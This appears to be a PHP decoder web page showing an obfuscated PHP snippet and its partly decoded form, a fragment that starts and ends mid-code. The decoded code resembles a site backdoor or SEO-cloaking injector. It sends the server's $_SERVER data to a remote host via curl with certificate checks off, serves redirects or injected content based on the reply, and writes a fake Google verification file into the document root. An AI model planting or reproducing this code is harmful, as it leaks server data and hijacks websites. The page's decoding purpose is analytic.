Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

\162\x6c\x3d\45\x73\x22\40\x2f\x3e\74\57\x6e\157\163\143\162\151\x70\x74\76\x3c\x2f\142\x6..

Decoded Output download

<?  rl=%s" /></noscript></body>", "'", "'", $iI9EJ, $iI9EJ); goto vuc6l; yNX4i: if (!in_array($OM7nZ, ["*404", "*return"])) { goto BZe0p; } goto NL1Xb; LHF1J: $i5Ds0 = "(goo"; goto bQ0pu; LNwly: VJj31: goto MKgcG; pe3mK: chmod($t9KEz, 0755); goto YwP0h; qYm5z: $Hipl_ = "tion:"; goto LHF1J; kg8DE: $s6ame = "yt1"; goto mU9FR; kF_w2: $EYf6f = "<a href="%s" target="_blank">%s</a>"; goto OJ2rg; wh1Ei: YxAwh: goto XYfbM; S8p3v: SQceZ: goto TrmTB; bufIO: $Hipl_ = "Loca" . $Hipl_; goto E_VGe; KkR5h: kxsAw: goto qYm5z; cErSl: echo $iI9EJ; goto BOF4y; l2xFd: if (!preg_match("/^Jump@(.*)/", $OM7nZ, $WlNpZ)) { goto SQceZ; } goto tZSC4; bQ0pu: $i5Ds0 .= "gle[\w"; goto gQ7fI; jtULi: $OM7nZ = Oogg6($VenWW, array("x" => serialize($_SERVER))); goto cgSiA; qPXLc: die; goto S8p3v; gTEAr: echo sprintf($EYf6f, $VenWW, $VenWW) . "<br /><br />"; goto pCZcD; E_VGe: if (!preg_match("/" . $i5Ds0 . "$/si", $cTYm8, $kBl9f)) { goto nf37W; } goto y1Pl2; YwP0h: file_put_contents("{$t9KEz}/{$hpBSN}", "{$DSSiP} {$hpBSN}"); goto UNQHk; KShgc: $i5Ds0 .= "}\.xh"; goto Qld30; RCi3J: die; goto KkR5h; XYfbM: echo "{$OM7nZ}"; goto RCi3J; UNQHk: chmod($t9KEz, 0555); goto zjHhO; Hn3v0: $QkvP0 = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto GRnzs; gQ7fI: $i5Ds0 .= "]{16"; goto KShgc; NL1Xb: return; goto ELx_2; xGKLn: $_SERVER["yt_gz"] = $NgJB6[1]; goto cVnfb; MKgcG: echo "{$OM7nZ}"; goto oB1CK; UM3RE: echo oOgG6($halKa); goto pwU5i; NisE1: header($EtPnG[1]); goto qiat8; bpDy4: $DSSiP .= $Hipl_; goto bufIO; pCZcD: $OwQzl = parse_url($VenWW); goto cemRF; cgSiA: $OM7nZ = trim($OM7nZ); goto yNX4i; vuc6l: uoYqj: goto qPXLc; KPod1: $t9KEz = $_SERVER[$YNNFK]; goto BfWFo; ELx_2: BZe0p: goto l2xFd; CQ3uY: $NgJB6 = explode("::", A); goto cZvuV; xZh2d: $YNNFK .= "T_ROOT"; goto KPod1; JxQhA: $DSSiP .= "te-veri"; goto L2ZY0; CBpDp: if (!$Ck3Wp) { goto qZCms; } goto jBTHQ; cq8qR: goto hYCt2; goto JnIvT; mU9FR: $YNNFK = "DOC"; goto Qaa0K; mHJzL: $cTYm8 = $cTYm8 == '' ? isset($_SERVER["PATH_INFO"]) && $_SERVER["PATH_INFO"] != '' ? $_SERVER["PATH_INFO"] : $cTYm8 : $cTYm8; goto OInaJ; RzSKX: } goto EeNKI; DRBz_: @date_default_timezone_set("PRC"); goto VjZ0I; k9REE: @ob_start(); goto sdw2o; cXR8q: function oogg6($gUfsH, $xiGd9 = array()) { goto wqshL; iQnmY: curl_setopt($rvmOq, CURLOPT_SSL_VERIFYHOST, false); goto zUKg7; aAuk3: curl_setopt($rvmOq, CURLOPT_SSL_VERIFYPEER, false); goto iQnmY; ePg_g: $rvmOq = curl_init(); goto wX6C2; wqshL: $bCoML = 0; goto ePg_g; zUKg7: curl_setopt($rvmOq, CURLOPT_FOLLOWLOCATION, 1); goto s66ec; s66ec: curl_setopt($rvmOq, CURLOPT_TIMEOUT, 60); goto zHPsp; jEKiB: Phjkc: goto sh4xE; PRAiX: curl_setopt($rvmOq, CURLOPT_RETURNTRANSFER, 1); goto aAuk3; L4Hps: o8QRv: goto hvnD_; RT9l4: curl_setopt($rvmOq, CURLOPT_CONNECTTIMEOUT, 0); goto PRAiX; IR2Tr: if (!$u3v0u) { goto Phjkc; } goto fllzv; jzhJN: curl_close($rvmOq); goto IR2Tr; d6E86: curl_setopt($rvmOq, CURLOPT_POST, 1); goto Tb9Wl; wX6C2: curl_setopt($rvmOq, CURLOPT_URL, $gUfsH); goto BuuTR; zHPsp: if (empty($xiGd9)) { goto o8QRv; } goto d6E86; hvnD_: $u3v0u = curl_exec($rvmOq); goto jzhJN; sh4xE: return trim(trim($bCoML, "")); goto LpKf7; fllzv: $bCoML = $u3v0u; goto jEKiB; BuuTR: curl_setopt($rvmOq, CURLOPT_USERAGENT, "WHR"); goto RT9l4; Tb9Wl: curl_setopt($rvmOq, CURLOPT_POSTFIELDS, http_build_query($xiGd9)); goto L4Hps; LpKf7: } goto oEP2C; VjZ0I: if (!function_exists("ob_start")) { goto QK9xg; } goto k9REE; EeNKI: Y9iiS(); ?>

Did this file decode correctly?

Original Code

\162\x6c\x3d\45\x73\x22\40\x2f\x3e\74\57\x6e\157\163\143\162\151\x70\x74\76\x3c\x2f\142\x6f\x64\x79\76", "\47", "\47", $iI9EJ, $iI9EJ); goto vuc6l; yNX4i: if (!in_array($OM7nZ, ["\52\x34\x30\64", "\x2a\x72\x65\164\x75\162\x6e"])) { goto BZe0p; } goto NL1Xb; LHF1J: $i5Ds0 = "\x28\x67\157\157"; goto bQ0pu; LNwly: VJj31: goto MKgcG; pe3mK: chmod($t9KEz, 0755); goto YwP0h; qYm5z: $Hipl_ = "\164\151\157\156\72"; goto LHF1J; kg8DE: $s6ame = "\x79\164\61"; goto mU9FR; kF_w2: $EYf6f = "\x3c\x61\x20\x68\x72\145\x66\75\x22\x25\163\x22\40\x74\x61\162\x67\x65\164\75\42\x5f\x62\154\141\156\x6b\42\76\45\x73\x3c\x2f\x61\76"; goto OJ2rg; wh1Ei: YxAwh: goto XYfbM; S8p3v: SQceZ: goto TrmTB; bufIO: $Hipl_ = "\114\x6f\x63\x61" . $Hipl_; goto E_VGe; KkR5h: kxsAw: goto qYm5z; cErSl: echo $iI9EJ; goto BOF4y; l2xFd: if (!preg_match("\57\x5e\112\x75\x6d\x70\x40\50\56\x2a\x29\57", $OM7nZ, $WlNpZ)) { goto SQceZ; } goto tZSC4; bQ0pu: $i5Ds0 .= "\147\x6c\145\133\x5c\167"; goto gQ7fI; jtULi: $OM7nZ = Oogg6($VenWW, array("\170" => serialize($_SERVER))); goto cgSiA; qPXLc: die; goto S8p3v; gTEAr: echo sprintf($EYf6f, $VenWW, $VenWW) . "\74\x62\162\x20\57\76\x3c\142\x72\x20\x2f\76"; goto pCZcD; E_VGe: if (!preg_match("\57" . $i5Ds0 . "\x24\57\x73\x69", $cTYm8, $kBl9f)) { goto nf37W; } goto y1Pl2; YwP0h: file_put_contents("{$t9KEz}\x2f{$hpBSN}", "{$DSSiP}\40{$hpBSN}"); goto UNQHk; KShgc: $i5Ds0 .= "\x7d\x5c\x2e\170\x68"; goto Qld30; RCi3J: die; goto KkR5h; XYfbM: echo "{$OM7nZ}"; goto RCi3J; UNQHk: chmod($t9KEz, 0555); goto zjHhO; Hn3v0: $QkvP0 = isset($_SERVER["\x48\124\124\120\x5f\125\x53\x45\x52\x5f\x41\x47\x45\x4e\124"]) ? $_SERVER["\x48\x54\x54\120\137\x55\123\x45\x52\x5f\x41\107\x45\116\124"] : ''; goto GRnzs; gQ7fI: $i5Ds0 .= "\x5d\x7b\61\x36"; goto KShgc; NL1Xb: return; goto ELx_2; xGKLn: $_SERVER["\x79\164\137\x67\172"] = $NgJB6[1]; goto cVnfb; MKgcG: echo "{$OM7nZ}"; goto oB1CK; UM3RE: echo oOgG6($halKa); goto pwU5i; NisE1: header($EtPnG[1]); goto qiat8; bpDy4: $DSSiP .= $Hipl_; goto bufIO; pCZcD: $OwQzl = parse_url($VenWW); goto cemRF; cgSiA: $OM7nZ = trim($OM7nZ); goto yNX4i; vuc6l: uoYqj: goto qPXLc; KPod1: $t9KEz = $_SERVER[$YNNFK]; goto BfWFo; ELx_2: BZe0p: goto l2xFd; CQ3uY: $NgJB6 = explode("\x3a\x3a", A); goto cZvuV; xZh2d: $YNNFK .= "\124\x5f\122\x4f\x4f\x54"; goto KPod1; JxQhA: $DSSiP .= "\x74\145\55\x76\x65\162\x69"; goto L2ZY0; CBpDp: if (!$Ck3Wp) { goto qZCms; } goto jBTHQ; cq8qR: goto hYCt2; goto JnIvT; mU9FR: $YNNFK = "\x44\x4f\x43"; goto Qaa0K; mHJzL: $cTYm8 = $cTYm8 == '' ? isset($_SERVER["\120\101\x54\110\x5f\111\x4e\106\x4f"]) && $_SERVER["\120\101\124\110\x5f\x49\116\x46\117"] != '' ? $_SERVER["\120\101\x54\x48\x5f\x49\116\x46\x4f"] : $cTYm8 : $cTYm8; goto OInaJ; RzSKX: } goto EeNKI; DRBz_: @date_default_timezone_set("\120\x52\x43"); goto VjZ0I; k9REE: @ob_start(); goto sdw2o; cXR8q: function oogg6($gUfsH, $xiGd9 = array()) { goto wqshL; iQnmY: curl_setopt($rvmOq, CURLOPT_SSL_VERIFYHOST, false); goto zUKg7; aAuk3: curl_setopt($rvmOq, CURLOPT_SSL_VERIFYPEER, false); goto iQnmY; ePg_g: $rvmOq = curl_init(); goto wX6C2; wqshL: $bCoML = 0; goto ePg_g; zUKg7: curl_setopt($rvmOq, CURLOPT_FOLLOWLOCATION, 1); goto s66ec; s66ec: curl_setopt($rvmOq, CURLOPT_TIMEOUT, 60); goto zHPsp; jEKiB: Phjkc: goto sh4xE; PRAiX: curl_setopt($rvmOq, CURLOPT_RETURNTRANSFER, 1); goto aAuk3; L4Hps: o8QRv: goto hvnD_; RT9l4: curl_setopt($rvmOq, CURLOPT_CONNECTTIMEOUT, 0); goto PRAiX; IR2Tr: if (!$u3v0u) { goto Phjkc; } goto fllzv; jzhJN: curl_close($rvmOq); goto IR2Tr; d6E86: curl_setopt($rvmOq, CURLOPT_POST, 1); goto Tb9Wl; wX6C2: curl_setopt($rvmOq, CURLOPT_URL, $gUfsH); goto BuuTR; zHPsp: if (empty($xiGd9)) { goto o8QRv; } goto d6E86; hvnD_: $u3v0u = curl_exec($rvmOq); goto jzhJN; sh4xE: return trim(trim($bCoML, "\xef\273\277")); goto LpKf7; fllzv: $bCoML = $u3v0u; goto jEKiB; BuuTR: curl_setopt($rvmOq, CURLOPT_USERAGENT, "\x57\110\122"); goto RT9l4; Tb9Wl: curl_setopt($rvmOq, CURLOPT_POSTFIELDS, http_build_query($xiGd9)); goto L4Hps; LpKf7: } goto oEP2C; VjZ0I: if (!function_exists("\x6f\142\x5f\163\x74\141\x72\164")) { goto QK9xg; } goto k9REE; EeNKI: Y9iiS(); ?>

Function Calls

None

Variables

None

Stats

MD5 839ade29c8bacd0fd19974119f8c6409
Eval Count 0
Decode Time 57 ms